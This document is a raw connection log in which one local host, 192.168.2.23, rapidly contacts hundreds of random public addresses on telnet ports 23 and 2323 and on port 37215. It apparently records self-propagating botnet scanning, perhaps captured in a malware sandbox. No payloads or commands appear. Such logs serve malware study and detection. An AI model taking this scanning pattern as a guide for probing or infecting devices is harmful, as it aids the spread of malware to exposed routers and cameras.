Dec 26, 2023 21:22:48.110347033 CET	36253	23	192.168.2.23	86.32.30.145
Dec 26, 2023 21:22:48.110357046 CET	36253	2323	192.168.2.23	41.209.36.127
Dec 26, 2023 21:22:48.110357046 CET	36253	23	192.168.2.23	141.123.219.244
Dec 26, 2023 21:22:48.110357046 CET	36253	23	192.168.2.23	78.98.91.26
Dec 26, 2023 21:22:48.110357046 CET	36253	23	192.168.2.23	198.9.154.42
Dec 26, 2023 21:22:48.110388994 CET	36253	23	192.168.2.23	23.52.171.126
Dec 26, 2023 21:22:48.110388994 CET	36253	23	192.168.2.23	197.167.144.223
Dec 26, 2023 21:22:48.110388994 CET	36253	23	192.168.2.23	37.158.4.204
Dec 26, 2023 21:22:48.110389948 CET	36253	23	192.168.2.23	219.203.180.69
Dec 26, 2023 21:22:48.110388994 CET	36253	2323	192.168.2.23	73.137.87.22
Dec 26, 2023 21:22:48.110389948 CET	36253	23	192.168.2.23	180.39.104.207
Dec 26, 2023 21:22:48.110388994 CET	36253	23	192.168.2.23	75.105.175.18
Dec 26, 2023 21:22:48.110388994 CET	36253	23	192.168.2.23	113.203.142.198
Dec 26, 2023 21:22:48.110388994 CET	36253	23	192.168.2.23	200.127.111.53
Dec 26, 2023 21:22:48.110388994 CET	36253	23	192.168.2.23	62.151.56.124
Dec 26, 2023 21:22:48.110398054 CET	36253	23	192.168.2.23	59.27.147.147
Dec 26, 2023 21:22:48.110404015 CET	36253	23	192.168.2.23	122.220.95.153
Dec 26, 2023 21:22:48.110404015 CET	36253	2323	192.168.2.23	181.137.146.5
Dec 26, 2023 21:22:48.110407114 CET	36253	23	192.168.2.23	103.14.37.180
Dec 26, 2023 21:22:48.110407114 CET	36253	23	192.168.2.23	148.83.34.228
Dec 26, 2023 21:22:48.110411882 CET	36253	23	192.168.2.23	175.66.36.205
Dec 26, 2023 21:22:48.110414028 CET	36253	23	192.168.2.23	163.183.159.184
Dec 26, 2023 21:22:48.110414028 CET	36253	23	192.168.2.23	23.23.86.237
Dec 26, 2023 21:22:48.110424995 CET	36253	23	192.168.2.23	5.135.145.117
Dec 26, 2023 21:22:48.110424995 CET	36253	2323	192.168.2.23	193.177.99.174
Dec 26, 2023 21:22:48.110428095 CET	36253	23	192.168.2.23	61.206.224.145
Dec 26, 2023 21:22:48.110431910 CET	36253	23	192.168.2.23	102.242.97.23
Dec 26, 2023 21:22:48.110434055 CET	36253	23	192.168.2.23	75.113.122.250
Dec 26, 2023 21:22:48.110434055 CET	36253	23	192.168.2.23	63.179.127.61
Dec 26, 2023 21:22:48.110434055 CET	36253	23	192.168.2.23	13.175.140.86
Dec 26, 2023 21:22:48.110434055 CET	36253	23	192.168.2.23	205.26.248.240
Dec 26, 2023 21:22:48.110445976 CET	36253	23	192.168.2.23	180.135.194.242
Dec 26, 2023 21:22:48.110445976 CET	36253	2323	192.168.2.23	46.169.136.190
Dec 26, 2023 21:22:48.110449076 CET	36253	23	192.168.2.23	164.7.60.185
Dec 26, 2023 21:22:48.110449076 CET	36253	23	192.168.2.23	95.56.147.189
Dec 26, 2023 21:22:48.110450983 CET	36253	23	192.168.2.23	126.74.173.124
Dec 26, 2023 21:22:48.110462904 CET	36253	23	192.168.2.23	173.134.79.226
Dec 26, 2023 21:22:48.110462904 CET	36253	23	192.168.2.23	91.48.42.100
Dec 26, 2023 21:22:48.110469103 CET	36253	23	192.168.2.23	40.197.193.38
Dec 26, 2023 21:22:48.110469103 CET	36253	23	192.168.2.23	92.251.42.156
Dec 26, 2023 21:22:48.110471010 CET	36253	23	192.168.2.23	190.148.27.131
Dec 26, 2023 21:22:48.110475063 CET	36253	23	192.168.2.23	51.93.28.250
Dec 26, 2023 21:22:48.110486031 CET	36253	23	192.168.2.23	52.187.218.67
Dec 26, 2023 21:22:48.110486031 CET	36253	23	192.168.2.23	133.97.32.16
Dec 26, 2023 21:22:48.110488892 CET	36253	23	192.168.2.23	20.99.90.65
Dec 26, 2023 21:22:48.110496998 CET	36253	23	192.168.2.23	24.176.58.156
Dec 26, 2023 21:22:48.110497952 CET	36253	2323	192.168.2.23	77.242.36.156
Dec 26, 2023 21:22:48.110508919 CET	36253	23	192.168.2.23	134.1.35.93
Dec 26, 2023 21:22:48.110510111 CET	36253	23	192.168.2.23	203.186.137.185
Dec 26, 2023 21:22:48.110510111 CET	36253	23	192.168.2.23	159.133.214.107
Dec 26, 2023 21:22:48.110512972 CET	36253	23	192.168.2.23	113.61.81.188
Dec 26, 2023 21:22:48.110512972 CET	36253	23	192.168.2.23	90.142.245.169
Dec 26, 2023 21:22:48.110526085 CET	36253	23	192.168.2.23	74.93.218.19
Dec 26, 2023 21:22:48.110527039 CET	36253	23	192.168.2.23	146.111.75.246
Dec 26, 2023 21:22:48.110527039 CET	36253	23	192.168.2.23	190.177.61.10
Dec 26, 2023 21:22:48.110527039 CET	36253	23	192.168.2.23	115.231.164.49
Dec 26, 2023 21:22:48.110527039 CET	36253	2323	192.168.2.23	124.96.184.74
Dec 26, 2023 21:22:48.110527039 CET	36253	23	192.168.2.23	62.131.115.27
Dec 26, 2023 21:22:48.110527992 CET	36253	23	192.168.2.23	221.49.163.55
Dec 26, 2023 21:22:48.110536098 CET	36253	23	192.168.2.23	217.81.60.23
Dec 26, 2023 21:22:48.110536098 CET	36253	23	192.168.2.23	207.97.24.119
Dec 26, 2023 21:22:48.110538006 CET	36253	23	192.168.2.23	178.42.53.231
Dec 26, 2023 21:22:48.110547066 CET	36253	23	192.168.2.23	49.114.47.233
Dec 26, 2023 21:22:48.110548019 CET	36253	23	192.168.2.23	82.129.97.209
Dec 26, 2023 21:22:48.110548019 CET	36253	2323	192.168.2.23	82.74.205.210
Dec 26, 2023 21:22:48.110548019 CET	36253	23	192.168.2.23	119.169.222.198
Dec 26, 2023 21:22:48.110557079 CET	36253	23	192.168.2.23	140.112.102.65
Dec 26, 2023 21:22:48.110563993 CET	36253	23	192.168.2.23	152.187.153.151
Dec 26, 2023 21:22:48.110563993 CET	36253	23	192.168.2.23	82.251.168.32
Dec 26, 2023 21:22:48.110564947 CET	36253	23	192.168.2.23	31.1.73.124
Dec 26, 2023 21:22:48.110564947 CET	36253	23	192.168.2.23	47.129.204.72
Dec 26, 2023 21:22:48.110567093 CET	36253	23	192.168.2.23	38.209.193.144
Dec 26, 2023 21:22:48.110567093 CET	36253	23	192.168.2.23	178.4.0.5
Dec 26, 2023 21:22:48.110570908 CET	36253	23	192.168.2.23	169.122.100.105
Dec 26, 2023 21:22:48.110570908 CET	36253	23	192.168.2.23	207.62.179.96
Dec 26, 2023 21:22:48.110574961 CET	36253	23	192.168.2.23	64.241.233.117
Dec 26, 2023 21:22:48.110574961 CET	36253	23	192.168.2.23	132.31.110.61
Dec 26, 2023 21:22:48.110574961 CET	36253	23	192.168.2.23	35.75.76.84
Dec 26, 2023 21:22:48.110574961 CET	36253	2323	192.168.2.23	193.72.247.2
Dec 26, 2023 21:22:48.110580921 CET	36253	23	192.168.2.23	78.149.160.150
Dec 26, 2023 21:22:48.110583067 CET	36253	2323	192.168.2.23	91.96.137.245
Dec 26, 2023 21:22:48.110595942 CET	36253	23	192.168.2.23	91.59.80.173
Dec 26, 2023 21:22:48.110595942 CET	36253	23	192.168.2.23	5.222.179.77
Dec 26, 2023 21:22:48.110595942 CET	36253	23	192.168.2.23	87.68.142.9
Dec 26, 2023 21:22:48.110598087 CET	36253	23	192.168.2.23	145.96.44.112
Dec 26, 2023 21:22:48.110598087 CET	36253	23	192.168.2.23	145.148.29.108
Dec 26, 2023 21:22:48.110599995 CET	36253	23	192.168.2.23	49.121.148.150
Dec 26, 2023 21:22:48.110599995 CET	36253	2323	192.168.2.23	134.134.48.71
Dec 26, 2023 21:22:48.110599995 CET	36253	23	192.168.2.23	136.141.238.169
Dec 26, 2023 21:22:48.110600948 CET	36253	23	192.168.2.23	60.80.83.1
Dec 26, 2023 21:22:48.110600948 CET	36253	23	192.168.2.23	220.234.70.122
Dec 26, 2023 21:22:48.110601902 CET	36253	23	192.168.2.23	176.140.135.13
Dec 26, 2023 21:22:48.110611916 CET	36253	23	192.168.2.23	147.101.167.111
Dec 26, 2023 21:22:48.110611916 CET	36253	23	192.168.2.23	64.85.30.208
Dec 26, 2023 21:22:48.110614061 CET	36253	23	192.168.2.23	151.37.160.227
Dec 26, 2023 21:22:48.110614061 CET	36253	23	192.168.2.23	132.241.225.233
Dec 26, 2023 21:22:48.110614061 CET	36253	23	192.168.2.23	108.8.93.108
Dec 26, 2023 21:22:48.110615969 CET	36253	23	192.168.2.23	105.21.236.178
Dec 26, 2023 21:22:48.110615969 CET	36253	23	192.168.2.23	120.117.248.98
Dec 26, 2023 21:22:48.110618114 CET	36253	23	192.168.2.23	76.167.232.185
Dec 26, 2023 21:22:48.110616922 CET	36253	23	192.168.2.23	41.174.28.15
Dec 26, 2023 21:22:48.110618114 CET	36253	23	192.168.2.23	65.194.131.119
Dec 26, 2023 21:22:48.110618114 CET	36253	23	192.168.2.23	74.224.64.78
Dec 26, 2023 21:22:48.110618114 CET	36253	23	192.168.2.23	171.189.67.123
Dec 26, 2023 21:22:48.110615969 CET	36253	23	192.168.2.23	212.32.202.215
Dec 26, 2023 21:22:48.110630035 CET	36253	23	192.168.2.23	132.31.175.40
Dec 26, 2023 21:22:48.110630035 CET	36253	23	192.168.2.23	182.250.146.166
Dec 26, 2023 21:22:48.110630035 CET	36253	2323	192.168.2.23	71.186.94.208
Dec 26, 2023 21:22:48.110632896 CET	36253	23	192.168.2.23	51.242.232.248
Dec 26, 2023 21:22:48.110640049 CET	36253	23	192.168.2.23	164.111.154.42
Dec 26, 2023 21:22:48.110640049 CET	36253	23	192.168.2.23	5.155.113.200
Dec 26, 2023 21:22:48.110641956 CET	36253	23	192.168.2.23	47.108.31.74
Dec 26, 2023 21:22:48.110642910 CET	36253	23	192.168.2.23	171.82.29.154
Dec 26, 2023 21:22:48.110642910 CET	36253	23	192.168.2.23	223.168.31.173
Dec 26, 2023 21:22:48.110649109 CET	36253	2323	192.168.2.23	96.34.170.254
Dec 26, 2023 21:22:48.110649109 CET	36253	23	192.168.2.23	152.234.157.250
Dec 26, 2023 21:22:48.110649109 CET	36253	23	192.168.2.23	217.220.126.34
Dec 26, 2023 21:22:48.110649109 CET	36253	23	192.168.2.23	95.83.97.166
Dec 26, 2023 21:22:48.110650063 CET	36253	23	192.168.2.23	59.231.190.218
Dec 26, 2023 21:22:48.110651970 CET	36253	23	192.168.2.23	199.38.108.184
Dec 26, 2023 21:22:48.110650063 CET	36253	23	192.168.2.23	98.214.236.241
Dec 26, 2023 21:22:48.110651970 CET	36253	23	192.168.2.23	68.154.136.3
Dec 26, 2023 21:22:48.110656023 CET	36253	2323	192.168.2.23	154.90.203.10
Dec 26, 2023 21:22:48.110656023 CET	36253	23	192.168.2.23	123.55.7.26
Dec 26, 2023 21:22:48.110656023 CET	36253	23	192.168.2.23	9.51.48.89
Dec 26, 2023 21:22:48.110656977 CET	36253	23	192.168.2.23	145.121.3.6
Dec 26, 2023 21:22:48.110656977 CET	36253	23	192.168.2.23	90.58.151.244
Dec 26, 2023 21:22:48.110656977 CET	36253	23	192.168.2.23	20.47.113.242
Dec 26, 2023 21:22:48.110656977 CET	36253	2323	192.168.2.23	174.212.147.38
Dec 26, 2023 21:22:48.110656977 CET	36253	23	192.168.2.23	153.109.244.250
Dec 26, 2023 21:22:48.110660076 CET	36253	23	192.168.2.23	116.175.204.135
Dec 26, 2023 21:22:48.110660076 CET	36253	23	192.168.2.23	75.193.200.245
Dec 26, 2023 21:22:48.110660076 CET	36253	23	192.168.2.23	46.89.75.12
Dec 26, 2023 21:22:48.110660076 CET	36253	23	192.168.2.23	53.109.104.24
Dec 26, 2023 21:22:48.110660076 CET	36253	23	192.168.2.23	196.144.209.250
Dec 26, 2023 21:22:48.110666037 CET	36253	23	192.168.2.23	166.91.254.33
Dec 26, 2023 21:22:48.110666990 CET	36253	23	192.168.2.23	66.205.17.68
Dec 26, 2023 21:22:48.110666990 CET	36253	23	192.168.2.23	121.140.177.28
Dec 26, 2023 21:22:48.110668898 CET	36253	23	192.168.2.23	148.55.238.207
Dec 26, 2023 21:22:48.110668898 CET	36253	23	192.168.2.23	208.233.148.41
Dec 26, 2023 21:22:48.110668898 CET	36253	23	192.168.2.23	169.224.233.115
Dec 26, 2023 21:22:48.110677958 CET	36253	2323	192.168.2.23	74.250.186.170
Dec 26, 2023 21:22:48.110680103 CET	36253	23	192.168.2.23	114.211.221.80
Dec 26, 2023 21:22:48.110680103 CET	36253	23	192.168.2.23	163.128.42.140
Dec 26, 2023 21:22:48.110686064 CET	36253	23	192.168.2.23	84.198.131.221
Dec 26, 2023 21:22:48.110686064 CET	36253	23	192.168.2.23	158.12.233.33
Dec 26, 2023 21:22:48.110686064 CET	36253	23	192.168.2.23	104.137.255.9
Dec 26, 2023 21:22:48.110693932 CET	36253	23	192.168.2.23	117.118.171.217
Dec 26, 2023 21:22:48.110693932 CET	36253	23	192.168.2.23	197.230.255.105
Dec 26, 2023 21:22:48.110693932 CET	36253	23	192.168.2.23	157.251.163.191
Dec 26, 2023 21:22:48.110704899 CET	36253	2323	192.168.2.23	51.64.243.38
Dec 26, 2023 21:22:48.110704899 CET	36253	23	192.168.2.23	189.18.227.181
Dec 26, 2023 21:22:48.110704899 CET	36253	23	192.168.2.23	77.76.228.212
Dec 26, 2023 21:22:48.110704899 CET	36253	23	192.168.2.23	124.162.135.80
Dec 26, 2023 21:22:48.110704899 CET	36253	23	192.168.2.23	124.144.163.24
Dec 26, 2023 21:22:48.110707998 CET	36253	23	192.168.2.23	97.97.62.30
Dec 26, 2023 21:22:48.110708952 CET	36253	23	192.168.2.23	62.140.206.11
Dec 26, 2023 21:22:48.110708952 CET	36253	23	192.168.2.23	102.127.25.109
Dec 26, 2023 21:22:48.110708952 CET	36253	23	192.168.2.23	145.255.236.169
Dec 26, 2023 21:22:48.110713959 CET	36253	23	192.168.2.23	75.210.67.25
Dec 26, 2023 21:22:48.110713959 CET	36253	23	192.168.2.23	219.128.216.193
Dec 26, 2023 21:22:48.110714912 CET	36253	23	192.168.2.23	45.221.189.216
Dec 26, 2023 21:22:48.110718966 CET	36253	23	192.168.2.23	221.105.82.224
Dec 26, 2023 21:22:48.110718966 CET	36253	23	192.168.2.23	71.182.30.223
Dec 26, 2023 21:22:48.110718966 CET	36253	23	192.168.2.23	186.123.170.133
Dec 26, 2023 21:22:48.110718966 CET	36253	23	192.168.2.23	134.61.192.207
Dec 26, 2023 21:22:48.110718966 CET	36253	2323	192.168.2.23	148.73.2.180
Dec 26, 2023 21:22:48.110718966 CET	36253	23	192.168.2.23	64.248.119.42
Dec 26, 2023 21:22:48.110718966 CET	36253	23	192.168.2.23	202.38.194.142
Dec 26, 2023 21:22:48.110718966 CET	36253	23	192.168.2.23	190.118.17.145
Dec 26, 2023 21:22:48.110722065 CET	36253	23	192.168.2.23	77.163.142.96
Dec 26, 2023 21:22:48.110728025 CET	36253	23	192.168.2.23	79.6.102.30
Dec 26, 2023 21:22:48.110728025 CET	36253	23	192.168.2.23	31.46.254.106
Dec 26, 2023 21:22:48.110737085 CET	36253	2323	192.168.2.23	191.195.135.37
Dec 26, 2023 21:22:48.110737085 CET	36253	23	192.168.2.23	157.249.82.220
Dec 26, 2023 21:22:48.110737085 CET	36253	23	192.168.2.23	146.51.88.133
Dec 26, 2023 21:22:48.110739946 CET	36253	23	192.168.2.23	111.52.186.237
Dec 26, 2023 21:22:48.110750914 CET	36253	23	192.168.2.23	57.176.106.172
Dec 26, 2023 21:22:48.110755920 CET	36253	23	192.168.2.23	208.7.15.186
Dec 26, 2023 21:22:48.110761881 CET	36253	23	192.168.2.23	38.91.25.253
Dec 26, 2023 21:22:48.110761881 CET	36253	23	192.168.2.23	133.172.89.239
Dec 26, 2023 21:22:48.110761881 CET	36253	23	192.168.2.23	148.184.184.130
Dec 26, 2023 21:22:48.110764980 CET	36253	23	192.168.2.23	113.23.212.229
Dec 26, 2023 21:22:48.110778093 CET	36253	23	192.168.2.23	188.228.25.87
Dec 26, 2023 21:22:48.110785961 CET	36253	23	192.168.2.23	112.120.139.221
Dec 26, 2023 21:22:48.110785961 CET	36253	2323	192.168.2.23	86.249.238.136
Dec 26, 2023 21:22:48.110785961 CET	36253	23	192.168.2.23	126.208.125.20
Dec 26, 2023 21:22:48.110793114 CET	36253	23	192.168.2.23	110.68.202.231
Dec 26, 2023 21:22:48.110796928 CET	36253	23	192.168.2.23	4.107.77.207
Dec 26, 2023 21:22:48.113552094 CET	45981	37215	192.168.2.23	157.145.2.24
Dec 26, 2023 21:22:48.113562107 CET	45981	37215	192.168.2.23	157.100.36.19
Dec 26, 2023 21:22:48.113564014 CET	45981	37215	192.168.2.23	157.249.47.96
Dec 26, 2023 21:22:48.113564014 CET	45981	37215	192.168.2.23	157.6.169.146
Dec 26, 2023 21:22:48.113575935 CET	45981	37215	192.168.2.23	157.46.35.130
Dec 26, 2023 21:22:48.113601923 CET	45981	37215	192.168.2.23	157.118.37.25
Dec 26, 2023 21:22:48.113601923 CET	45981	37215	192.168.2.23	157.248.232.207
Dec 26, 2023 21:22:48.113615990 CET	45981	37215	192.168.2.23	157.68.22.4
Dec 26, 2023 21:22:48.113620043 CET	45981	37215	192.168.2.23	157.15.59.207
Dec 26, 2023 21:22:48.113626957 CET	45981	37215	192.168.2.23	157.158.82.86
Dec 26, 2023 21:22:48.113626957 CET	45981	37215	192.168.2.23	157.88.188.237
Dec 26, 2023 21:22:48.113637924 CET	45981	37215	192.168.2.23	157.134.46.196
Dec 26, 2023 21:22:48.113645077 CET	45981	37215	192.168.2.23	157.246.110.70
Dec 26, 2023 21:22:48.113650084 CET	45981	37215	192.168.2.23	157.28.33.8
Dec 26, 2023 21:22:48.113655090 CET	45981	37215	192.168.2.23	157.221.226.192
Dec 26, 2023 21:22:48.113662004 CET	45981	37215	192.168.2.23	157.31.34.171
Dec 26, 2023 21:22:48.113670111 CET	45981	37215	192.168.2.23	157.244.197.38
Dec 26, 2023 21:22:48.113670111 CET	45981	37215	192.168.2.23	157.134.61.167
Dec 26, 2023 21:22:48.113673925 CET	45981	37215	192.168.2.23	157.253.171.246
Dec 26, 2023 21:22:48.113673925 CET	45981	37215	192.168.2.23	157.168.202.91
Dec 26, 2023 21:22:48.113691092 CET	45981	37215	192.168.2.23	157.102.146.19
Dec 26, 2023 21:22:48.113691092 CET	45981	37215	192.168.2.23	157.71.142.121
Dec 26, 2023 21:22:48.113702059 CET	45981	37215	192.168.2.23	157.200.21.155
Dec 26, 2023 21:22:48.113703966 CET	45981	37215	192.168.2.23	157.97.220.155
Dec 26, 2023 21:22:48.113712072 CET	45981	37215	192.168.2.23	157.191.16.26
Dec 26, 2023 21:22:48.113723993 CET	45981	37215	192.168.2.23	157.215.201.182
Dec 26, 2023 21:22:48.113729000 CET	45981	37215	192.168.2.23	157.85.178.127
Dec 26, 2023 21:22:48.113734961 CET	45981	37215	192.168.2.23	157.152.158.13
Dec 26, 2023 21:22:48.113737106 CET	45981	37215	192.168.2.23	157.137.48.9
Dec 26, 2023 21:22:48.113748074 CET	45981	37215	192.168.2.23	157.64.129.101
Dec 26, 2023 21:22:48.113748074 CET	45981	37215	192.168.2.23	157.198.187.102
Dec 26, 2023 21:22:48.113749981 CET	45981	37215	192.168.2.23	157.18.28.21
Dec 26, 2023 21:22:48.113761902 CET	45981	37215	192.168.2.23	157.76.86.247
Dec 26, 2023 21:22:48.113773108 CET	45981	37215	192.168.2.23	157.190.160.180
Dec 26, 2023 21:22:48.113773108 CET	45981	37215	192.168.2.23	157.238.242.16
Dec 26, 2023 21:22:48.113784075 CET	45981	37215	192.168.2.23	157.248.105.104
Dec 26, 2023 21:22:48.113794088 CET	45981	37215	192.168.2.23	157.223.186.53
Dec 26, 2023 21:22:48.113799095 CET	45981	37215	192.168.2.23	157.192.36.36
Dec 26, 2023 21:22:48.113806963 CET	45981	37215	192.168.2.23	157.77.135.109
Dec 26, 2023 21:22:48.113817930 CET	45981	37215	192.168.2.23	157.43.97.211
Dec 26, 2023 21:22:48.113825083 CET	45981	37215	192.168.2.23	157.233.138.211
Dec 26, 2023 21:22:48.113830090 CET	45981	37215	192.168.2.23	157.207.180.175
Dec 26, 2023 21:22:48.113842964 CET	45981	37215	192.168.2.23	157.181.23.124
Dec 26, 2023 21:22:48.113847971 CET	45981	37215	192.168.2.23	157.254.23.91
Dec 26, 2023 21:22:48.113851070 CET	45981	37215	192.168.2.23	157.63.42.52
Dec 26, 2023 21:22:48.113863945 CET	45981	37215	192.168.2.23	157.43.130.49
Dec 26, 2023 21:22:48.113867044 CET	45981	37215	192.168.2.23	157.95.72.193
Dec 26, 2023 21:22:48.113867998 CET	45981	37215	192.168.2.23	157.26.173.9
Dec 26, 2023 21:22:48.113886118 CET	45981	37215	192.168.2.23	157.241.32.16
Dec 26, 2023 21:22:48.113893986 CET	45981	37215	192.168.2.23	157.102.5.233
Dec 26, 2023 21:22:48.113904953 CET	45981	37215	192.168.2.23	157.168.237.109
Dec 26, 2023 21:22:48.113905907 CET	45981	37215	192.168.2.23	157.245.37.140
Dec 26, 2023 21:22:48.113907099 CET	45981	37215	192.168.2.23	157.137.18.66
Dec 26, 2023 21:22:48.113907099 CET	45981	37215	192.168.2.23	157.97.30.194
Dec 26, 2023 21:22:48.113924980 CET	45981	37215	192.168.2.23	157.116.45.19
Dec 26, 2023 21:22:48.113928080 CET	45981	37215	192.168.2.23	157.140.206.130
Dec 26, 2023 21:22:48.113934040 CET	45981	37215	192.168.2.23	157.49.9.213
Dec 26, 2023 21:22:48.113936901 CET	45981	37215	192.168.2.23	157.162.65.245
Dec 26, 2023 21:22:48.113944054 CET	45981	37215	192.168.2.23	157.109.111.213
Dec 26, 2023 21:22:48.113950968 CET	45981	37215	192.168.2.23	157.202.49.180
Dec 26, 2023 21:22:48.113959074 CET	45981	37215	192.168.2.23	157.226.96.6
Dec 26, 2023 21:22:48.113960028 CET	45981	37215	192.168.2.23	157.238.111.166
Dec 26, 2023 21:22:48.113975048 CET	45981	37215	192.168.2.23	157.247.55.192
Dec 26, 2023 21:22:48.113981009 CET	45981	37215	192.168.2.23	157.14.233.63
Dec 26, 2023 21:22:48.113991976 CET	45981	37215	192.168.2.23	157.102.236.48
Dec 26, 2023 21:22:48.113992929 CET	45981	37215	192.168.2.23	157.38.134.240
Dec 26, 2023 21:22:48.113992929 CET	45981	37215	192.168.2.23	157.107.65.231
Dec 26, 2023 21:22:48.114006996 CET	45981	37215	192.168.2.23	157.137.153.118
Dec 26, 2023 21:22:48.114012003 CET	45981	37215	192.168.2.23	157.12.95.121
Dec 26, 2023 21:22:48.114025116 CET	45981	37215	192.168.2.23	157.104.215.91
Dec 26, 2023 21:22:48.114037037 CET	45981	37215	192.168.2.23	157.44.148.48
Dec 26, 2023 21:22:48.114046097 CET	45981	37215	192.168.2.23	157.55.157.7
Dec 26, 2023 21:22:48.114046097 CET	45981	37215	192.168.2.23	157.9.223.1
Dec 26, 2023 21:22:48.114046097 CET	45981	37215	192.168.2.23	157.69.210.152
Dec 26, 2023 21:22:48.114049911 CET	45981	37215	192.168.2.23	157.168.170.125
Dec 26, 2023 21:22:48.114067078 CET	45981	37215	192.168.2.23	157.57.176.221
Dec 26, 2023 21:22:48.114072084 CET	45981	37215	192.168.2.23	157.25.167.120
Dec 26, 2023 21:22:48.114073992 CET	45981	37215	192.168.2.23	157.102.228.158
Dec 26, 2023 21:22:48.114078045 CET	45981	37215	192.168.2.23	157.122.189.185
Dec 26, 2023 21:22:48.114080906 CET	45981	37215	192.168.2.23	157.61.135.157
Dec 26, 2023 21:22:48.114087105 CET	45981	37215	192.168.2.23	157.229.201.108
Dec 26, 2023 21:22:48.114087105 CET	45981	37215	192.168.2.23	157.17.203.116
Dec 26, 2023 21:22:48.114101887 CET	45981	37215	192.168.2.23	157.96.45.22
Dec 26, 2023 21:22:48.114103079 CET	45981	37215	192.168.2.23	157.204.65.106
Dec 26, 2023 21:22:48.114104033 CET	45981	37215	192.168.2.23	157.75.1.233
Dec 26, 2023 21:22:48.114120007 CET	45981	37215	192.168.2.23	157.243.34.125
Dec 26, 2023 21:22:48.114120007 CET	45981	37215	192.168.2.23	157.215.112.98
Dec 26, 2023 21:22:48.114130020 CET	45981	37215	192.168.2.23	157.244.244.170
Dec 26, 2023 21:22:48.114131927 CET	45981	37215	192.168.2.23	157.70.146.214
Dec 26, 2023 21:22:48.114145994 CET	45981	37215	192.168.2.23	157.205.165.31
Dec 26, 2023 21:22:48.114145994 CET	45981	37215	192.168.2.23	157.27.129.172
Dec 26, 2023 21:22:48.114156961 CET	45981	37215	192.168.2.23	157.158.205.65
Dec 26, 2023 21:22:48.114167929 CET	45981	37215	192.168.2.23	157.13.82.62
Dec 26, 2023 21:22:48.114167929 CET	45981	37215	192.168.2.23	157.234.137.203
Dec 26, 2023 21:22:48.114177942 CET	45981	37215	192.168.2.23	157.128.176.165
Dec 26, 2023 21:22:48.114190102 CET	45981	37215	192.168.2.23	157.155.178.46
Dec 26, 2023 21:22:48.114195108 CET	45981	37215	192.168.2.23	157.43.31.76
Dec 26, 2023 21:22:48.114202023 CET	45981	37215	192.168.2.23	157.50.184.193
Dec 26, 2023 21:22:48.114214897 CET	45981	37215	192.168.2.23	157.51.26.198
Dec 26, 2023 21:22:48.114223957 CET	45981	37215	192.168.2.23	157.254.159.213
Dec 26, 2023 21:22:48.114232063 CET	45981	37215	192.168.2.23	157.180.188.31
Dec 26, 2023 21:22:48.114234924 CET	45981	37215	192.168.2.23	157.231.15.151
Dec 26, 2023 21:22:48.114247084 CET	45981	37215	192.168.2.23	157.202.18.42
Dec 26, 2023 21:22:48.114257097 CET	45981	37215	192.168.2.23	157.27.98.44
Dec 26, 2023 21:22:48.114257097 CET	45981	37215	192.168.2.23	157.170.70.22
Dec 26, 2023 21:22:48.114269018 CET	45981	37215	192.168.2.23	157.70.138.253
Dec 26, 2023 21:22:48.114284039 CET	45981	37215	192.168.2.23	157.107.177.250
Dec 26, 2023 21:22:48.114293098 CET	45981	37215	192.168.2.23	157.2.58.39
Dec 26, 2023 21:22:48.114294052 CET	45981	37215	192.168.2.23	157.161.82.6
Dec 26, 2023 21:22:48.114296913 CET	45981	37215	192.168.2.23	157.196.123.112
Dec 26, 2023 21:22:48.114296913 CET	45981	37215	192.168.2.23	157.252.115.136
Dec 26, 2023 21:22:48.114306927 CET	45981	37215	192.168.2.23	157.64.160.78
Dec 26, 2023 21:22:48.114308119 CET	45981	37215	192.168.2.23	157.229.10.95
Dec 26, 2023 21:22:48.114310026 CET	45981	37215	192.168.2.23	157.18.179.158
Dec 26, 2023 21:22:48.114311934 CET	45981	37215	192.168.2.23	157.238.156.105
Dec 26, 2023 21:22:48.114317894 CET	45981	37215	192.168.2.23	157.194.71.226
Dec 26, 2023 21:22:48.114319086 CET	45981	37215	192.168.2.23	157.28.38.224
Dec 26, 2023 21:22:48.114326000 CET	45981	37215	192.168.2.23	157.134.97.189
Dec 26, 2023 21:22:48.114339113 CET	45981	37215	192.168.2.23	157.149.184.23
Dec 26, 2023 21:22:48.114343882 CET	45981	37215	192.168.2.23	157.217.158.31
Dec 26, 2023 21:22:48.114346027 CET	45981	37215	192.168.2.23	157.4.5.58
Dec 26, 2023 21:22:48.114356041 CET	45981	37215	192.168.2.23	157.90.34.147
Dec 26, 2023 21:22:48.114361048 CET	45981	37215	192.168.2.23	157.17.106.28
Dec 26, 2023 21:22:48.114367008 CET	45981	37215	192.168.2.23	157.226.178.105
Dec 26, 2023 21:22:48.114382982 CET	45981	37215	192.168.2.23	157.162.4.137
Dec 26, 2023 21:22:48.114383936 CET	45981	37215	192.168.2.23	157.252.133.183
Dec 26, 2023 21:22:48.114386082 CET	45981	37215	192.168.2.23	157.212.134.221
Dec 26, 2023 21:22:48.114388943 CET	45981	37215	192.168.2.23	157.107.160.182
Dec 26, 2023 21:22:48.114394903 CET	45981	37215	192.168.2.23	157.202.55.216
Dec 26, 2023 21:22:48.114396095 CET	45981	37215	192.168.2.23	157.241.245.86
Dec 26, 2023 21:22:48.114414930 CET	45981	37215	192.168.2.23	157.227.73.53
Dec 26, 2023 21:22:48.114414930 CET	45981	37215	192.168.2.23	157.165.96.132
Dec 26, 2023 21:22:48.114419937 CET	45981	37215	192.168.2.23	157.23.235.124
Dec 26, 2023 21:22:48.114424944 CET	45981	37215	192.168.2.23	157.92.215.49
Dec 26, 2023 21:22:48.114443064 CET	45981	37215	192.168.2.23	157.93.107.91
Dec 26, 2023 21:22:48.114447117 CET	45981	37215	192.168.2.23	157.174.49.177
Dec 26, 2023 21:22:48.114447117 CET	45981	37215	192.168.2.23	157.83.41.161
Dec 26, 2023 21:22:48.114448071 CET	45981	37215	192.168.2.23	157.60.247.220
Dec 26, 2023 21:22:48.114451885 CET	45981	37215	192.168.2.23	157.137.218.85
Dec 26, 2023 21:22:48.114456892 CET	45981	37215	192.168.2.23	157.222.29.80
Dec 26, 2023 21:22:48.114468098 CET	45981	37215	192.168.2.23	157.128.178.138
Dec 26, 2023 21:22:48.114470959 CET	45981	37215	192.168.2.23	157.90.61.162
Dec 26, 2023 21:22:48.114479065 CET	45981	37215	192.168.2.23	157.30.214.154
Dec 26, 2023 21:22:48.114481926 CET	45981	37215	192.168.2.23	157.113.96.166
Dec 26, 2023 21:22:48.114495039 CET	45981	37215	192.168.2.23	157.112.169.253
Dec 26, 2023 21:22:48.114500046 CET	45981	37215	192.168.2.23	157.151.22.84
Dec 26, 2023 21:22:48.114500999 CET	45981	37215	192.168.2.23	157.180.1.149
Dec 26, 2023 21:22:48.114509106 CET	45981	37215	192.168.2.23	157.46.238.24
